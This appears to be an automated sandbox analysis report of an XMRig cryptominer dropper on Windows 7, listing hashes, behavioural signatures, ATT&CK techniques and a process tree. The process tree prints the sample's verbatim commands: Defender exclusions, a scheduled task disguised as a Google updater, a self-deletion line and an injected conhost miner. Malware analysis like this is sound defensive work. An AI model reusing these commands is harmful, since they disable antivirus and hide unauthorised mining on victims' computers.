xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1385s
max time network
1784s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1556 created 1204	1556	Q5EUCWHU7pMYBfT3.exe	13
PID 1556 created 1204	1556	Q5EUCWHU7pMYBfT3.exe	13
PID 1556 created 1204	1556	Q5EUCWHU7pMYBfT3.exe	13
PID 1556 created 1204	1556	Q5EUCWHU7pMYBfT3.exe	13
PID 2132 created 1204	2132	updater.exe	13
PID 2132 created 1204	2132	updater.exe	13
PID 2132 created 1204	2132	updater.exe	13
PID 2132 created 1204	2132	updater.exe	13
PID 1728 created 1204	1728	conhost.exe	13
PID 2132 created 1204	2132	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral21/memory/1932-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1932-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2332	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2132	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2696	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral21/memory/1932-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1932-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2132 set thread context of 1728	2132	updater.exe	49
PID 2132 set thread context of 1932	2132	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Q5EUCWHU7pMYBfT3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2708	schtasks.exe
1776	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1656	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c02da0d03e4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1556	Q5EUCWHU7pMYBfT3.exe
1556	Q5EUCWHU7pMYBfT3.exe
2316	powershell.exe
1556	Q5EUCWHU7pMYBfT3.exe
1556	Q5EUCWHU7pMYBfT3.exe
2720	powershell.exe
1556	Q5EUCWHU7pMYBfT3.exe
1556	Q5EUCWHU7pMYBfT3.exe
1556	Q5EUCWHU7pMYBfT3.exe
1556	Q5EUCWHU7pMYBfT3.exe
2896	powershell.exe
2132	updater.exe
2132	updater.exe
1148	powershell.exe
2132	updater.exe
2132	updater.exe
1964	powershell.exe
2132	updater.exe
2132	updater.exe
2132	updater.exe
2132	updater.exe
1728	conhost.exe
1728	conhost.exe
2132	updater.exe
2132	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	2132	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1656	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1656	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: SeLockMemoryPrivilege	1932	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 2708	2720	powershell.exe	32
PID 2720 wrote to memory of 2708	2720	powershell.exe	32
PID 2720 wrote to memory of 2708	2720	powershell.exe	32
PID 2332 wrote to memory of 2876	2332	cmd.exe	37
PID 2332 wrote to memory of 2876	2332	cmd.exe	37
PID 2332 wrote to memory of 2876	2332	cmd.exe	37
PID 2896 wrote to memory of 2628	2896	powershell.exe	38
PID 2896 wrote to memory of 2628	2896	powershell.exe	38
PID 2896 wrote to memory of 2628	2896	powershell.exe	38
PID 2696 wrote to memory of 2132	2696	taskeng.exe	40
PID 2696 wrote to memory of 2132	2696	taskeng.exe	40
PID 2696 wrote to memory of 2132	2696	taskeng.exe	40
PID 1964 wrote to memory of 1776	1964	powershell.exe	47
PID 1964 wrote to memory of 1776	1964	powershell.exe	47
PID 1964 wrote to memory of 1776	1964	powershell.exe	47
PID 2132 wrote to memory of 1728	2132	updater.exe	49
PID 1732 wrote to memory of 1656	1732	cmd.exe	53
PID 1732 wrote to memory of 1656	1732	cmd.exe	53
PID 1732 wrote to memory of 1656	1732	cmd.exe	53
PID 2132 wrote to memory of 1932	2132	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2708
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1776
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1728
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1768
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1932

C:\Windows\system32\taskeng.exe
taskeng.exe {D55BA4DD-DE9E-4DAA-B7B2-774E213BB130} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
504KB

MD5
7726b497305a9af16644d816cc7e025e

SHA1
bb3703bb201bc7dbfd763043a6c20bffba4c1dfe

SHA256
c0408e2d4d46cd4f0cdfe1989b026f6464727e88fe51b959478df0d8ae003725

SHA512
9f5d926ab9a7e2a6e945b09696454bb66fe76997d5e370dcba7103740fd99536ce593047dba213ac07b1036d4ec6601f42f002ccb87328b670d82ae2bcfa9c8e

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a3ab1756bd78d041fc867872cc23963f

SHA1
1f6e1285c87f7269f891bcec398cbe8900b97bf2

SHA256
9ffd60f132586d483c5b914e30d4d2e495b628db0d61088888437b64686150e8

SHA512
bdce6a64d24e89c6bd1955ed302ade4c36d4dce4c6778394bd11f9fb187eb41c96a8ae92eea32c3b9f2f6d20c13a5a8896c5472595b17334b37335849dd80d48

Download Submit
memory/1148-51-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/1148-50-0x00000000012D0000-0x0000000001350000-memory.dmp

Filesize
512KB

Download
memory/1148-49-0x00000000012D0000-0x0000000001350000-memory.dmp

Filesize
512KB

Download
memory/1148-48-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/1148-47-0x00000000012D0000-0x0000000001350000-memory.dmp

Filesize
512KB

Download
memory/1148-46-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/1556-28-0x000000013FB10000-0x000000013FD21000-memory.dmp

Filesize
2.1MB

Download
memory/1556-0-0x000000013FB10000-0x000000013FD21000-memory.dmp

Filesize
2.1MB

Download
memory/1728-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1728-74-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1932-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-77-0x0000000000C10000-0x0000000000C30000-memory.dmp

Filesize
128KB

Download
memory/1932-76-0x0000000000BF0000-0x0000000000C10000-memory.dmp

Filesize
128KB

Download
memory/1932-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-67-0x0000000000270000-0x0000000000290000-memory.dmp

Filesize
128KB

Download
memory/1932-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1932-68-0x0000000000BF0000-0x0000000000C10000-memory.dmp

Filesize
128KB

Download
memory/1932-69-0x0000000000C10000-0x0000000000C30000-memory.dmp

Filesize
128KB

Download
memory/1964-54-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1964-52-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1964-53-0x0000000000FD0000-0x0000000001050000-memory.dmp

Filesize
512KB

Download
memory/1964-58-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/1964-56-0x0000000000FD0000-0x0000000001050000-memory.dmp

Filesize
512KB

Download
memory/1964-57-0x0000000000FD0000-0x0000000001050000-memory.dmp

Filesize
512KB

Download
memory/1964-55-0x0000000000FD0000-0x0000000001050000-memory.dmp

Filesize
512KB

Download
memory/2132-65-0x000000013F970000-0x000000013FB81000-memory.dmp

Filesize
2.1MB

Download
memory/2132-45-0x000000013F970000-0x000000013FB81000-memory.dmp

Filesize
2.1MB

Download
memory/2316-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-8-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/2316-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-6-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-10-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2316-5-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2316-11-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/2316-7-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/2720-24-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
